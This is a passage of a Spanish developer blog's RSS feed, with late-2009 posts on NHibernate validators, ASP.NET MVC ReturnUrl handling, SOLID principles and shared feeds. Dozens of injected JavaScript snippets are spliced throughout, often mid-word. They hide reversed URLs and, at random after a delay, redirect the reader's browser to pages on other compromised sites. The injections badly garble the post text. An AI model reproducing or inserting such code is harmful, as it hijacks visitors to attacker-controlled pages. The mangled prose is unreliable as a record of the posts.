$NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tom messages</a>, o cómo conseguí personalizar los mensajes del valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor mediante extensibilidad de un modo muy sencillo y potente. Supongo que con el tiempo <a href="http://nhforge.org/wikis/valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor10/nhibernate-valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor-1-0-0-documentation.aspx»>Valida<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tor </a>soportará es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to nativamente.</p>
<p>Después otro más en inglés, <a href="http://codelog.climens.net/2009/08/05/asp-net-mvc-and-returnurl/">ASP.NET MVC and ReturnUrl</a>, quejándome de que muchos ejemplos de autenticación con MVC no respetan el parámetro ReturnUrl correctamente, lo que es un error a la hora de hacer un mecanismo útil de autenticación.</p>
<p>Y por último, los <a href="http://codelog.climens.net/2009/06/02/principios-basicos-de-oop-solid/" class="broken_link">Principios básicos de OOP: SOLID</a> que siempre deberíamos tener <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todos presentes a la hora de diseñar una aplicación y mantener la coherencia, la facilidad de uso y la mantenibilidad.</p>
<p>Y dado que este año no he escri<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to mucho, lo voy a dejar aquí. En 2010, más ASP.NET MVC, más NHibernate y más de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo.</p>
<p>¡Feliz 2010!</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2009/12/31/lo-mejor-de-2009/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mis feeds sobre NHibernate y ASP.NET MVC</title>
		<link>http://blog.climens.net/2009/11/18/mis-feeds-sobre-nhibernate-y-asp-net-mvc/</link>
					<comments>http://blog.climens.net/2009/11/18/mis-feeds-sobre-nhibernate-y-asp-net-mvc/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Wed, 18 Nov 2009 15:23:13 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[NHibernate]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=240</guid>

					<description><![CDATA[Hace tiempo que tengo un par de feeds en Google Reader que me gustaría compartir con toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todo el mundo que le puedan interesar. El primero es sobre NHibernate y el segundo sobre ASP.NET MVC, &#8230; <a href="http://blog.climens.net/2009/11/18/mis-feeds-sobre-nhibernate-y-asp-net-mvc/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Hace tiempo que tengo un <strong>par de feeds en Google Reader que me gustaría compartir</strong> con <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo el mundo que le puedan interesar.</p>
<p>El primero es <strong>sobre NHibernate</strong> y el segundo <strong>sobre ASP.NET MVC</strong>, dos temas que sigo de cerca porque los uso diariamente en mi trabajo, recogiendo noticias que van apareciendo en los blogs a los que es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toy suscri<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to. Por supues<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to hay muchas en inglés porque la mayoría de la información se publica en este idioma aunque inten<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 